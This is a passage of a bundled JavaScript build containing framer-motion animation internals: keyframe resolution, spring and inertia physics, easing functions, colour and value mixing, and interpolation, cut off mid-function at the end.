13710 unresolvedKeyframes[noneIndex] = getAnimatableNone2(name, animatableTemplate);
13711 }
13712 }
13713 }
13714
13715 // packages/components/node_modules/framer-motion/dist/es/render/dom/DOMKeyframesResolver.mjs
13716 var DOMKeyframesResolver = class extends KeyframeResolver {
13717 constructor(unresolvedKeyframes, onComplete, name, motionValue2, element) {
13718 super(unresolvedKeyframes, onComplete, name, motionValue2, element, true);
13719 }
13720 readKeyframes() {
13721 const { unresolvedKeyframes, element, name } = this;
13722 if (!element || !element.current)
13723 return;
13724 super.readKeyframes();
13725 for (let i3 = 0; i3 < unresolvedKeyframes.length; i3++) {
13726 let keyframe = unresolvedKeyframes[i3];
13727 if (typeof keyframe === "string") {
13728 keyframe = keyframe.trim();
13729 if (isCSSVariableToken(keyframe)) {
13730 const resolved = getVariableValue(keyframe, element.current);
13731 if (resolved !== void 0) {
13732 unresolvedKeyframes[i3] = resolved;
13733 }
13734 if (i3 === unresolvedKeyframes.length - 1) {
13735 this.finalKeyframe = keyframe;
13736 }
13737 }
13738 }
13739 }
13740 this.resolveNoneKeyframes();
13741 if (!positionalKeys.has(name) || unresolvedKeyframes.length !== 2) {
13742 return;
13743 }
13744 const [origin, target] = unresolvedKeyframes;
13745 const originType = findDimensionValueType(origin);
13746 const targetType = findDimensionValueType(target);
13747 if (originType === targetType)
13748 return;
13749 if (isNumOrPxType(originType) && isNumOrPxType(targetType)) {
13750 for (let i3 = 0; i3 < unresolvedKeyframes.length; i3++) {
13751 const value = unresolvedKeyframes[i3];
13752 if (typeof value === "string") {
13753 unresolvedKeyframes[i3] = parseFloat(value);
13754 }
13755 }
13756 } else {
13757 this.needsMeasurement = true;
13758 }
13759 }
13760 resolveNoneKeyframes() {
13761 const { unresolvedKeyframes, name } = this;
13762 const noneKeyframeIndexes = [];
13763 for (let i3 = 0; i3 < unresolvedKeyframes.length; i3++) {
13764 if (isNone(unresolvedKeyframes[i3])) {
13765 noneKeyframeIndexes.push(i3);
13766 }
13767 }
13768 if (noneKeyframeIndexes.length) {
13769 makeNoneKeyframesAnimatable(unresolvedKeyframes, noneKeyframeIndexes, name);
13770 }
13771 }
13772 measureInitialState() {
13773 const { element, unresolvedKeyframes, name } = this;
13774 if (!element || !element.current)
13775 return;
13776 if (name === "height") {
13777 this.suspendedScrollY = window.pageYOffset;
13778 }
13779 this.measuredOrigin = positionalValues[name](element.measureViewportBox(), window.getComputedStyle(element.current));
13780 unresolvedKeyframes[0] = this.measuredOrigin;
13781 const measureKeyframe = unresolvedKeyframes[unresolvedKeyframes.length - 1];
13782 if (measureKeyframe !== void 0) {
13783 element.getValue(name, measureKeyframe).jump(measureKeyframe, false);
13784 }
13785 }
13786 measureEndState() {
13787 var _a;
13788 const { element, name, unresolvedKeyframes } = this;
13789 if (!element || !element.current)
13790 return;
13791 const value = element.getValue(name);
13792 value && value.jump(this.measuredOrigin, false);
13793 const finalKeyframeIndex = unresolvedKeyframes.length - 1;
13794 const finalKeyframe = unresolvedKeyframes[finalKeyframeIndex];
13795 unresolvedKeyframes[finalKeyframeIndex] = positionalValues[name](element.measureViewportBox(), window.getComputedStyle(element.current));
13796 if (finalKeyframe !== null && this.finalKeyframe === void 0) {
13797 this.finalKeyframe = finalKeyframe;
13798 }
13799 if ((_a = this.removedTransforms) === null || _a === void 0 ? void 0 : _a.length) {
13800 this.removedTransforms.forEach(([unsetTransformName, unsetTransformValue]) => {
13801 element.getValue(unsetTransformName).set(unsetTransformValue);
13802 });
13803 }
13804 this.resolveNoneKeyframes();
13805 }
13806 };
13807
13808 // packages/components/node_modules/framer-motion/dist/es/animation/generators/utils/is-generator.mjs
13809 function isGenerator(type) {
13810 return typeof type === "function";
13811 }
13812
13813 // packages/components/node_modules/framer-motion/dist/es/frameloop/sync-time.mjs
13814 var now;
13815 function clearTime() {
13816 now = void 0;
13817 }
13818 var time = {
13819 now: () => {
13820 if (now === void 0) {
13821 time.set(frameData.isProcessing || MotionGlobalConfig.useManualTiming ? frameData.timestamp : performance.now());
13822 }
13823 return now;
13824 },
13825 set: (newTime) => {
13826 now = newTime;
13827 queueMicrotask(clearTime);
13828 }
13829 };
13830
13831 // packages/components/node_modules/framer-motion/dist/es/animation/utils/is-animatable.mjs
13832 var isAnimatable = (value, name) => {
13833 if (name === "zIndex")
13834 return false;
13835 if (typeof value === "number" || Array.isArray(value))
13836 return true;
13837 if (typeof value === "string" && // It's animatable if we have a string
13838 (complex.test(value) || value === "0") && // And it contains numbers and/or colors
13839 !value.startsWith("url(")) {
13840 return true;
13841 }
13842 return false;
13843 };
13844
13845 // packages/components/node_modules/framer-motion/dist/es/animation/animators/utils/can-animate.mjs
13846 function hasKeyframesChanged(keyframes4) {
13847 const current = keyframes4[0];
13848 if (keyframes4.length === 1)
13849 return true;
13850 for (let i3 = 0; i3 < keyframes4.length; i3++) {
13851 if (keyframes4[i3] !== current)
13852 return true;
13853 }
13854 }
13855 function canAnimate(keyframes4, name, type, velocity) {
13856 const originKeyframe = keyframes4[0];
13857 if (originKeyframe === null)
13858 return false;
13859 if (name === "display" || name === "visibility")
13860 return true;
13861 const targetKeyframe = keyframes4[keyframes4.length - 1];
13862 const isOriginAnimatable = isAnimatable(originKeyframe, name);
13863 const isTargetAnimatable = isAnimatable(targetKeyframe, name);
13864 warning(isOriginAnimatable === isTargetAnimatable, `You are trying to animate ${name} from "${originKeyframe}" to "${targetKeyframe}". ${originKeyframe} is not an animatable value - to enable this animation set ${originKeyframe} to a value animatable to ${targetKeyframe} via the \`style\` property.`);
13865 if (!isOriginAnimatable || !isTargetAnimatable) {
13866 return false;
13867 }
13868 return hasKeyframesChanged(keyframes4) || (type === "spring" || isGenerator(type)) && velocity;
13869 }
13870
13871 // packages/components/node_modules/framer-motion/dist/es/animation/animators/BaseAnimation.mjs
13872 var MAX_RESOLVE_DELAY = 40;
13873 var BaseAnimation = class {
13874 constructor({ autoplay = true, delay: delay2 = 0, type = "keyframes", repeat = 0, repeatDelay = 0, repeatType = "loop", ...options2 }) {
13875 this.isStopped = false;
13876 this.hasAttemptedResolve = false;
13877 this.createdAt = time.now();
13878 this.options = {
13879 autoplay,
13880 delay: delay2,
13881 type,
13882 repeat,
13883 repeatDelay,
13884 repeatType,
13885 ...options2
13886 };
13887 this.updateFinishedPromise();
13888 }
13889 /**
13890 * This method uses the createdAt and resolvedAt to calculate the
13891 * animation startTime. *Ideally*, we would use the createdAt time as t=0
13892 * as the following frame would then be the first frame of the animation in
13893 * progress, which would feel snappier.
13894 *
13895 * However, if there's a delay (main thread work) between the creation of
13896 * the animation and the first commited frame, we prefer to use resolvedAt
13897 * to avoid a sudden jump into the animation.
13898 */
13899 calcStartTime() {
13900 if (!this.resolvedAt)
13901 return this.createdAt;
13902 return this.resolvedAt - this.createdAt > MAX_RESOLVE_DELAY ? this.resolvedAt : this.createdAt;
13903 }
13904 /**
13905 * A getter for resolved data. If keyframes are not yet resolved, accessing
13906 * this.resolved will synchronously flush all pending keyframe resolvers.
13907 * This is a deoptimisation, but at its worst still batches read/writes.
13908 */
13909 get resolved() {
13910 if (!this._resolved && !this.hasAttemptedResolve) {
13911 flushKeyframeResolvers();
13912 }
13913 return this._resolved;
13914 }
13915 /**
13916 * A method to be called when the keyframes resolver completes. This method
13917 * will check if its possible to run the animation and, if not, skip it.
13918 * Otherwise, it will call initPlayback on the implementing class.
13919 */
13920 onKeyframesResolved(keyframes4, finalKeyframe) {
13921 this.resolvedAt = time.now();
13922 this.hasAttemptedResolve = true;
13923 const { name, type, velocity, delay: delay2, onComplete, onUpdate, isGenerator: isGenerator2 } = this.options;
13924 if (!isGenerator2 && !canAnimate(keyframes4, name, type, velocity)) {
13925 if (instantAnimationState.current || !delay2) {
13926 onUpdate === null || onUpdate === void 0 ? void 0 : onUpdate(getFinalKeyframe(keyframes4, this.options, finalKeyframe));
13927 onComplete === null || onComplete === void 0 ? void 0 : onComplete();
13928 this.resolveFinishedPromise();
13929 return;
13930 } else {
13931 this.options.duration = 0;
13932 }
13933 }
13934 const resolvedAnimation = this.initPlayback(keyframes4, finalKeyframe);
13935 if (resolvedAnimation === false)
13936 return;
13937 this._resolved = {
13938 keyframes: keyframes4,
13939 finalKeyframe,
13940 ...resolvedAnimation
13941 };
13942 this.onPostResolved();
13943 }
13944 onPostResolved() {
13945 }
13946 /**
13947 * Allows the returned animation to be awaited or promise-chained. Currently
13948 * resolves when the animation finishes at all but in a future update could/should
13949 * reject if its cancels.
13950 */
13951 then(resolve, reject) {
13952 return this.currentFinishedPromise.then(resolve, reject);
13953 }
13954 flatten() {
13955 this.options.type = "keyframes";
13956 this.options.ease = "linear";
13957 }
13958 updateFinishedPromise() {
13959 this.currentFinishedPromise = new Promise((resolve) => {
13960 this.resolveFinishedPromise = resolve;
13961 });
13962 }
13963 };
13964
13965 // packages/components/node_modules/framer-motion/dist/es/utils/progress.mjs
13966 var progress = (from2, to, value) => {
13967 const toFromDifference = to - from2;
13968 return toFromDifference === 0 ? 1 : (value - from2) / toFromDifference;
13969 };
13970
13971 // packages/components/node_modules/framer-motion/dist/es/animation/animators/waapi/utils/linear.mjs
13972 var generateLinearEasing = (easing, duration, resolution = 10) => {
13973 let points = "";
13974 const numPoints = Math.max(Math.round(duration / resolution), 2);
13975 for (let i3 = 0; i3 < numPoints; i3++) {
13976 points += easing(progress(0, numPoints - 1, i3)) + ", ";
13977 }
13978 return `linear(${points.substring(0, points.length - 2)})`;
13979 };
13980
13981 // packages/components/node_modules/framer-motion/dist/es/utils/velocity-per-second.mjs
13982 function velocityPerSecond(velocity, frameDuration) {
13983 return frameDuration ? velocity * (1e3 / frameDuration) : 0;
13984 }
13985
13986 // packages/components/node_modules/framer-motion/dist/es/animation/generators/utils/velocity.mjs
13987 var velocitySampleDuration = 5;
13988 function calcGeneratorVelocity(resolveValue, t4, current) {
13989 const prevT = Math.max(t4 - velocitySampleDuration, 0);
13990 return velocityPerSecond(current - resolveValue(prevT), t4 - prevT);
13991 }
13992
13993 // packages/components/node_modules/framer-motion/dist/es/animation/generators/spring/defaults.mjs
13994 var springDefaults = {
13995 // Default spring physics
13996 stiffness: 100,
13997 damping: 10,
13998 mass: 1,
13999 velocity: 0,
14000 // Default duration/bounce-based options
14001 duration: 800,
14002 // in ms
14003 bounce: 0.3,
14004 visualDuration: 0.3,
14005 // in seconds
14006 // Rest thresholds
14007 restSpeed: {
14008 granular: 0.01,
14009 default: 2
14010 },
14011 restDelta: {
14012 granular: 5e-3,
14013 default: 0.5
14014 },
14015 // Limits
14016 minDuration: 0.01,
14017 // in seconds
14018 maxDuration: 10,
14019 // in seconds
14020 minDamping: 0.05,
14021 maxDamping: 1
14022 };
14023
14024 // packages/components/node_modules/framer-motion/dist/es/animation/generators/spring/find.mjs
14025 var safeMin = 1e-3;
14026 function findSpring({ duration = springDefaults.duration, bounce = springDefaults.bounce, velocity = springDefaults.velocity, mass = springDefaults.mass }) {
14027 let envelope;
14028 let derivative;
14029 warning(duration <= secondsToMilliseconds(springDefaults.maxDuration), "Spring duration must be 10 seconds or less");
14030 let dampingRatio = 1 - bounce;
14031 dampingRatio = clamp2(springDefaults.minDamping, springDefaults.maxDamping, dampingRatio);
14032 duration = clamp2(springDefaults.minDuration, springDefaults.maxDuration, millisecondsToSeconds(duration));
14033 if (dampingRatio < 1) {
14034 envelope = (undampedFreq2) => {
14035 const exponentialDecay = undampedFreq2 * dampingRatio;
14036 const delta = exponentialDecay * duration;
14037 const a3 = exponentialDecay - velocity;
14038 const b3 = calcAngularFreq(undampedFreq2, dampingRatio);
14039 const c3 = Math.exp(-delta);
14040 return safeMin - a3 / b3 * c3;
14041 };
14042 derivative = (undampedFreq2) => {
14043 const exponentialDecay = undampedFreq2 * dampingRatio;
14044 const delta = exponentialDecay * duration;
14045 const d3 = delta * velocity + velocity;
14046 const e3 = Math.pow(dampingRatio, 2) * Math.pow(undampedFreq2, 2) * duration;
14047 const f3 = Math.exp(-delta);
14048 const g3 = calcAngularFreq(Math.pow(undampedFreq2, 2), dampingRatio);
14049 const factor = -envelope(undampedFreq2) + safeMin > 0 ? -1 : 1;
14050 return factor * ((d3 - e3) * f3) / g3;
14051 };
14052 } else {
14053 envelope = (undampedFreq2) => {
14054 const a3 = Math.exp(-undampedFreq2 * duration);
14055 const b3 = (undampedFreq2 - velocity) * duration + 1;
14056 return -safeMin + a3 * b3;
14057 };
14058 derivative = (undampedFreq2) => {
14059 const a3 = Math.exp(-undampedFreq2 * duration);
14060 const b3 = (velocity - undampedFreq2) * (duration * duration);
14061 return a3 * b3;
14062 };
14063 }
14064 const initialGuess = 5 / duration;
14065 const undampedFreq = approximateRoot(envelope, derivative, initialGuess);
14066 duration = secondsToMilliseconds(duration);
14067 if (isNaN(undampedFreq)) {
14068 return {
14069 stiffness: springDefaults.stiffness,
14070 damping: springDefaults.damping,
14071 duration
14072 };
14073 } else {
14074 const stiffness = Math.pow(undampedFreq, 2) * mass;
14075 return {
14076 stiffness,
14077 damping: dampingRatio * 2 * Math.sqrt(mass * stiffness),
14078 duration
14079 };
14080 }
14081 }
14082 var rootIterations = 12;
14083 function approximateRoot(envelope, derivative, initialGuess) {
14084 let result = initialGuess;
14085 for (let i3 = 1; i3 < rootIterations; i3++) {
14086 result = result - envelope(result) / derivative(result);
14087 }
14088 return result;
14089 }
14090 function calcAngularFreq(undampedFreq, dampingRatio) {
14091 return undampedFreq * Math.sqrt(1 - dampingRatio * dampingRatio);
14092 }
14093
14094 // packages/components/node_modules/framer-motion/dist/es/animation/generators/utils/calc-duration.mjs
14095 var maxGeneratorDuration = 2e4;
14096 function calcGeneratorDuration(generator) {
14097 let duration = 0;
14098 const timeStep = 50;
14099 let state = generator.next(duration);
14100 while (!state.done && duration < maxGeneratorDuration) {
14101 duration += timeStep;
14102 state = generator.next(duration);
14103 }
14104 return duration >= maxGeneratorDuration ? Infinity : duration;
14105 }
14106
14107 // packages/components/node_modules/framer-motion/dist/es/animation/generators/spring/index.mjs
14108 var durationKeys = ["duration", "bounce"];
14109 var physicsKeys = ["stiffness", "damping", "mass"];
14110 function isSpringType(options2, keys) {
14111 return keys.some((key) => options2[key] !== void 0);
14112 }
14113 function getSpringOptions(options2) {
14114 let springOptions = {
14115 velocity: springDefaults.velocity,
14116 stiffness: springDefaults.stiffness,
14117 damping: springDefaults.damping,
14118 mass: springDefaults.mass,
14119 isResolvedFromDuration: false,
14120 ...options2
14121 };
14122 if (!isSpringType(options2, physicsKeys) && isSpringType(options2, durationKeys)) {
14123 if (options2.visualDuration) {
14124 const visualDuration = options2.visualDuration;
14125 const root = 2 * Math.PI / (visualDuration * 1.2);
14126 const stiffness = root * root;
14127 const damping = 2 * clamp2(0.05, 1, 1 - options2.bounce) * Math.sqrt(stiffness);
14128 springOptions = {
14129 ...springOptions,
14130 mass: springDefaults.mass,
14131 stiffness,
14132 damping
14133 };
14134 } else {
14135 const derived = findSpring(options2);
14136 springOptions = {
14137 ...springOptions,
14138 ...derived,
14139 mass: springDefaults.mass
14140 };
14141 springOptions.isResolvedFromDuration = true;
14142 }
14143 }
14144 return springOptions;
14145 }
14146 function spring(optionsOrVisualDuration = springDefaults.visualDuration, bounce = springDefaults.bounce) {
14147 const options2 = typeof optionsOrVisualDuration !== "object" ? {
14148 visualDuration: optionsOrVisualDuration,
14149 keyframes: [0, 1],
14150 bounce
14151 } : optionsOrVisualDuration;
14152 let { restSpeed, restDelta } = options2;
14153 const origin = options2.keyframes[0];
14154 const target = options2.keyframes[options2.keyframes.length - 1];
14155 const state = { done: false, value: origin };
14156 const { stiffness, damping, mass, duration, velocity, isResolvedFromDuration } = getSpringOptions({
14157 ...options2,
14158 velocity: -millisecondsToSeconds(options2.velocity || 0)
14159 });
14160 const initialVelocity = velocity || 0;
14161 const dampingRatio = damping / (2 * Math.sqrt(stiffness * mass));
14162 const initialDelta = target - origin;
14163 const undampedAngularFreq = millisecondsToSeconds(Math.sqrt(stiffness / mass));
14164 const isGranularScale = Math.abs(initialDelta) < 5;
14165 restSpeed || (restSpeed = isGranularScale ? springDefaults.restSpeed.granular : springDefaults.restSpeed.default);
14166 restDelta || (restDelta = isGranularScale ? springDefaults.restDelta.granular : springDefaults.restDelta.default);
14167 let resolveSpring;
14168 if (dampingRatio < 1) {
14169 const angularFreq = calcAngularFreq(undampedAngularFreq, dampingRatio);
14170 resolveSpring = (t4) => {
14171 const envelope = Math.exp(-dampingRatio * undampedAngularFreq * t4);
14172 return target - envelope * ((initialVelocity + dampingRatio * undampedAngularFreq * initialDelta) / angularFreq * Math.sin(angularFreq * t4) + initialDelta * Math.cos(angularFreq * t4));
14173 };
14174 } else if (dampingRatio === 1) {
14175 resolveSpring = (t4) => target - Math.exp(-undampedAngularFreq * t4) * (initialDelta + (initialVelocity + undampedAngularFreq * initialDelta) * t4);
14176 } else {
14177 const dampedAngularFreq = undampedAngularFreq * Math.sqrt(dampingRatio * dampingRatio - 1);
14178 resolveSpring = (t4) => {
14179 const envelope = Math.exp(-dampingRatio * undampedAngularFreq * t4);
14180 const freqForT = Math.min(dampedAngularFreq * t4, 300);
14181 return target - envelope * ((initialVelocity + dampingRatio * undampedAngularFreq * initialDelta) * Math.sinh(freqForT) + dampedAngularFreq * initialDelta * Math.cosh(freqForT)) / dampedAngularFreq;
14182 };
14183 }
14184 const generator = {
14185 calculatedDuration: isResolvedFromDuration ? duration || null : null,
14186 next: (t4) => {
14187 const current = resolveSpring(t4);
14188 if (!isResolvedFromDuration) {
14189 let currentVelocity = 0;
14190 if (dampingRatio < 1) {
14191 currentVelocity = t4 === 0 ? secondsToMilliseconds(initialVelocity) : calcGeneratorVelocity(resolveSpring, t4, current);
14192 }
14193 const isBelowVelocityThreshold = Math.abs(currentVelocity) <= restSpeed;
14194 const isBelowDisplacementThreshold = Math.abs(target - current) <= restDelta;
14195 state.done = isBelowVelocityThreshold && isBelowDisplacementThreshold;
14196 } else {
14197 state.done = t4 >= duration;
14198 }
14199 state.value = state.done ? target : current;
14200 return state;
14201 },
14202 toString: () => {
14203 const calculatedDuration = Math.min(calcGeneratorDuration(generator), maxGeneratorDuration);
14204 const easing = generateLinearEasing((progress2) => generator.next(calculatedDuration * progress2).value, calculatedDuration, 30);
14205 return calculatedDuration + "ms " + easing;
14206 }
14207 };
14208 return generator;
14209 }
14210
14211 // packages/components/node_modules/framer-motion/dist/es/animation/generators/inertia.mjs
14212 function inertia({ keyframes: keyframes4, velocity = 0, power = 0.8, timeConstant = 325, bounceDamping = 10, bounceStiffness = 500, modifyTarget, min: min3, max: max3, restDelta = 0.5, restSpeed }) {
14213 const origin = keyframes4[0];
14214 const state = {
14215 done: false,
14216 value: origin
14217 };
14218 const isOutOfBounds = (v3) => min3 !== void 0 && v3 < min3 || max3 !== void 0 && v3 > max3;
14219 const nearestBoundary = (v3) => {
14220 if (min3 === void 0)
14221 return max3;
14222 if (max3 === void 0)
14223 return min3;
14224 return Math.abs(min3 - v3) < Math.abs(max3 - v3) ? min3 : max3;
14225 };
14226 let amplitude = power * velocity;
14227 const ideal = origin + amplitude;
14228 const target = modifyTarget === void 0 ? ideal : modifyTarget(ideal);
14229 if (target !== ideal)
14230 amplitude = target - origin;
14231 const calcDelta = (t4) => -amplitude * Math.exp(-t4 / timeConstant);
14232 const calcLatest = (t4) => target + calcDelta(t4);
14233 const applyFriction = (t4) => {
14234 const delta = calcDelta(t4);
14235 const latest = calcLatest(t4);
14236 state.done = Math.abs(delta) <= restDelta;
14237 state.value = state.done ? target : latest;
14238 };
14239 let timeReachedBoundary;
14240 let spring$1;
14241 const checkCatchBoundary = (t4) => {
14242 if (!isOutOfBounds(state.value))
14243 return;
14244 timeReachedBoundary = t4;
14245 spring$1 = spring({
14246 keyframes: [state.value, nearestBoundary(state.value)],
14247 velocity: calcGeneratorVelocity(calcLatest, t4, state.value),
14248 // TODO: This should be passing * 1000
14249 damping: bounceDamping,
14250 stiffness: bounceStiffness,
14251 restDelta,
14252 restSpeed
14253 });
14254 };
14255 checkCatchBoundary(0);
14256 return {
14257 calculatedDuration: null,
14258 next: (t4) => {
14259 let hasUpdatedFrame = false;
14260 if (!spring$1 && timeReachedBoundary === void 0) {
14261 hasUpdatedFrame = true;
14262 applyFriction(t4);
14263 checkCatchBoundary(t4);
14264 }
14265 if (timeReachedBoundary !== void 0 && t4 >= timeReachedBoundary) {
14266 return spring$1.next(t4 - timeReachedBoundary);
14267 } else {
14268 !hasUpdatedFrame && applyFriction(t4);
14269 return state;
14270 }
14271 }
14272 };
14273 }
14274
14275 // packages/components/node_modules/framer-motion/dist/es/easing/ease.mjs
14276 var easeIn = /* @__PURE__ */ cubicBezier(0.42, 0, 1, 1);
14277 var easeOut = /* @__PURE__ */ cubicBezier(0, 0, 0.58, 1);
14278 var easeInOut = /* @__PURE__ */ cubicBezier(0.42, 0, 0.58, 1);
14279
14280 // packages/components/node_modules/framer-motion/dist/es/easing/utils/is-easing-array.mjs
14281 var isEasingArray = (ease2) => {
14282 return Array.isArray(ease2) && typeof ease2[0] !== "number";
14283 };
14284
14285 // packages/components/node_modules/framer-motion/dist/es/easing/utils/is-bezier-definition.mjs
14286 var isBezierDefinition = (easing) => Array.isArray(easing) && typeof easing[0] === "number";
14287
14288 // packages/components/node_modules/framer-motion/dist/es/easing/utils/map.mjs
14289 var easingLookup = {
14290 linear: noop2,
14291 easeIn,
14292 easeInOut,
14293 easeOut,
14294 circIn,
14295 circInOut,
14296 circOut,
14297 backIn,
14298 backInOut,
14299 backOut,
14300 anticipate
14301 };
14302 var easingDefinitionToFunction = (definition) => {
14303 if (isBezierDefinition(definition)) {
14304 invariant2(definition.length === 4, `Cubic bezier arrays must contain four numerical values.`);
14305 const [x1, y1, x2, y22] = definition;
14306 return cubicBezier(x1, y1, x2, y22);
14307 } else if (typeof definition === "string") {
14308 invariant2(easingLookup[definition] !== void 0, `Invalid easing type '${definition}'`);
14309 return easingLookup[definition];
14310 }
14311 return definition;
14312 };
14313
14314 // packages/components/node_modules/framer-motion/dist/es/utils/pipe.mjs
14315 var combineFunctions = (a3, b3) => (v3) => b3(a3(v3));
14316 var pipe = (...transformers) => transformers.reduce(combineFunctions);
14317
14318 // packages/components/node_modules/framer-motion/dist/es/utils/mix/number.mjs
14319 var mixNumber = (from2, to, progress2) => {
14320 return from2 + (to - from2) * progress2;
14321 };
14322
14323 // packages/components/node_modules/framer-motion/dist/es/utils/hsla-to-rgba.mjs
14324 function hueToRgb(p3, q2, t4) {
14325 if (t4 < 0)
14326 t4 += 1;
14327 if (t4 > 1)
14328 t4 -= 1;
14329 if (t4 < 1 / 6)
14330 return p3 + (q2 - p3) * 6 * t4;
14331 if (t4 < 1 / 2)
14332 return q2;
14333 if (t4 < 2 / 3)
14334 return p3 + (q2 - p3) * (2 / 3 - t4) * 6;
14335 return p3;
14336 }
14337 function hslaToRgba({ hue, saturation, lightness, alpha: alpha2 }) {
14338 hue /= 360;
14339 saturation /= 100;
14340 lightness /= 100;
14341 let red = 0;
14342 let green = 0;
14343 let blue = 0;
14344 if (!saturation) {
14345 red = green = blue = lightness;
14346 } else {
14347 const q2 = lightness < 0.5 ? lightness * (1 + saturation) : lightness + saturation - lightness * saturation;
14348 const p3 = 2 * lightness - q2;
14349 red = hueToRgb(p3, q2, hue + 1 / 3);
14350 green = hueToRgb(p3, q2, hue);
14351 blue = hueToRgb(p3, q2, hue - 1 / 3);
14352 }
14353 return {
14354 red: Math.round(red * 255),
14355 green: Math.round(green * 255),
14356 blue: Math.round(blue * 255),
14357 alpha: alpha2
14358 };
14359 }
14360
14361 // packages/components/node_modules/framer-motion/dist/es/utils/mix/immediate.mjs
14362 function mixImmediate(a3, b3) {
14363 return (p3) => p3 > 0 ? b3 : a3;
14364 }
14365
14366 // packages/components/node_modules/framer-motion/dist/es/utils/mix/color.mjs
14367 var mixLinearColor = (from2, to, v3) => {
14368 const fromExpo = from2 * from2;
14369 const expo = v3 * (to * to - fromExpo) + fromExpo;
14370 return expo < 0 ? 0 : Math.sqrt(expo);
14371 };
14372 var colorTypes = [hex, rgba, hsla];
14373 var getColorType = (v3) => colorTypes.find((type) => type.test(v3));
14374 function asRGBA(color2) {
14375 const type = getColorType(color2);
14376 warning(Boolean(type), `'${color2}' is not an animatable color. Use the equivalent color code instead.`);
14377 if (!Boolean(type))
14378 return false;
14379 let model = type.parse(color2);
14380 if (type === hsla) {
14381 model = hslaToRgba(model);
14382 }
14383 return model;
14384 }
14385 var mixColor = (from2, to) => {
14386 const fromRGBA = asRGBA(from2);
14387 const toRGBA = asRGBA(to);
14388 if (!fromRGBA || !toRGBA) {
14389 return mixImmediate(from2, to);
14390 }
14391 const blended = { ...fromRGBA };
14392 return (v3) => {
14393 blended.red = mixLinearColor(fromRGBA.red, toRGBA.red, v3);
14394 blended.green = mixLinearColor(fromRGBA.green, toRGBA.green, v3);
14395 blended.blue = mixLinearColor(fromRGBA.blue, toRGBA.blue, v3);
14396 blended.alpha = mixNumber(fromRGBA.alpha, toRGBA.alpha, v3);
14397 return rgba.transform(blended);
14398 };
14399 };
14400
14401 // packages/components/node_modules/framer-motion/dist/es/utils/mix/visibility.mjs
14402 var invisibleValues = /* @__PURE__ */ new Set(["none", "hidden"]);
14403 function mixVisibility(origin, target) {
14404 if (invisibleValues.has(origin)) {
14405 return (p3) => p3 <= 0 ? origin : target;
14406 } else {
14407 return (p3) => p3 >= 1 ? target : origin;
14408 }
14409 }
14410
14411 // packages/components/node_modules/framer-motion/dist/es/utils/mix/complex.mjs
14412 function mixNumber2(a3, b3) {
14413 return (p3) => mixNumber(a3, b3, p3);
14414 }
14415 function getMixer(a3) {
14416 if (typeof a3 === "number") {
14417 return mixNumber2;
14418 } else if (typeof a3 === "string") {
14419 return isCSSVariableToken(a3) ? mixImmediate : color.test(a3) ? mixColor : mixComplex;
14420 } else if (Array.isArray(a3)) {
14421 return mixArray;
14422 } else if (typeof a3 === "object") {
14423 return color.test(a3) ? mixColor : mixObject;
14424 }
14425 return mixImmediate;
14426 }
14427 function mixArray(a3, b3) {
14428 const output = [...a3];
14429 const numValues = output.length;
14430 const blendValue = a3.map((v3, i3) => getMixer(v3)(v3, b3[i3]));
14431 return (p3) => {
14432 for (let i3 = 0; i3 < numValues; i3++) {
14433 output[i3] = blendValue[i3](p3);
14434 }
14435 return output;
14436 };
14437 }
14438 function mixObject(a3, b3) {
14439 const output = { ...a3, ...b3 };
14440 const blendValue = {};
14441 for (const key in output) {
14442 if (a3[key] !== void 0 && b3[key] !== void 0) {
14443 blendValue[key] = getMixer(a3[key])(a3[key], b3[key]);
14444 }
14445 }
14446 return (v3) => {
14447 for (const key in blendValue) {
14448 output[key] = blendValue[key](v3);
14449 }
14450 return output;
14451 };
14452 }
14453 function matchOrder(origin, target) {
14454 var _a;
14455 const orderedOrigin = [];
14456 const pointers = { color: 0, var: 0, number: 0 };
14457 for (let i3 = 0; i3 < target.values.length; i3++) {
14458 const type = target.types[i3];
14459 const originIndex = origin.indexes[type][pointers[type]];
14460 const originValue = (_a = origin.values[originIndex]) !== null && _a !== void 0 ? _a : 0;
14461 orderedOrigin[i3] = originValue;
14462 pointers[type]++;
14463 }
14464 return orderedOrigin;
14465 }
14466 var mixComplex = (origin, target) => {
14467 const template = complex.createTransformer(target);
14468 const originStats = analyseComplexValue(origin);
14469 const targetStats = analyseComplexValue(target);
14470 const canInterpolate = originStats.indexes.var.length === targetStats.indexes.var.length && originStats.indexes.color.length === targetStats.indexes.color.length && originStats.indexes.number.length >= targetStats.indexes.number.length;
14471 if (canInterpolate) {
14472 if (invisibleValues.has(origin) && !targetStats.values.length || invisibleValues.has(target) && !originStats.values.length) {
14473 return mixVisibility(origin, target);
14474 }
14475 return pipe(mixArray(matchOrder(originStats, targetStats), targetStats.values), template);
14476 } else {
14477 warning(true, `Complex values '${origin}' and '${target}' too different to mix. Ensure all colors are of the same type, and that each contains the same quantity of number and color values. Falling back to instant transition.`);
14478 return mixImmediate(origin, target);
14479 }
14480 };
14481
14482 // packages/components/node_modules/framer-motion/dist/es/utils/mix/index.mjs
14483 function mix(from2, to, p3) {
14484 if (typeof from2 === "number" && typeof to === "number" && typeof p3 === "number") {
14485 return mixNumber(from2, to, p3);
14486 }
14487 const mixer = getMixer(from2);
14488 return mixer(from2, to);
14489 }
14490
14491 // packages/components/node_modules/framer-motion/dist/es/utils/interpolate.mjs
14492 function createMixers(output, ease2, customMixer) {
14493 const mixers = [];
14494 const mixerFactory = customMixer || mix;
14495 const numMixers = output.length - 1;
14496 for (let i3 = 0; i3 < numMixers; i3++) {
14497 let mixer = mixerFactory(output[i3], output[i3 + 1]);
14498 if (ease2) {
14499 const easingFunction = Array.isArray(ease2) ? ease2[i3] || noop2 : ease2;
14500 mixer = pipe(easingFunction, mixer);
14501 }
14502 mixers.push(mixer);
14503 }
14504 return mixers;
14505 }
14506 function interpolate(input, output, { clamp: isClamp = true, ease: ease2, mixer } = {}) {
14507 const inputLength = input.length;
14508 invariant2(inputLength === output.length, "Both input and output ranges must be the same length");
14509 if (inputLength === 1)
14510 return () => output[0];
14511 if (inputLength === 2 && input[0] === input[1])
14512 return () => output[1];
14513 if (input[0] > input[inputLength - 1]) {
14514 input = [...input].reverse();
14515 output = [...output].reverse();
14516 }
14517 const mixers = createMixers(output, ease2, mixer);
14518 const numMixers = mixers.length;
14519 const interpolator = (v3) => {
14520 let i3 = 0;
14521 if (numMixers > 1) {
14522 for (; i3 < input.length - 2; i3++) {
14523 if (v3 < input[i3 + 1])
14524 break;
14525 }
14526 }
14527 const progressInRange = progress(input[i3], input[i3 + 1], v3);
14528 return mixers[i3](progressInRange);
14529 };
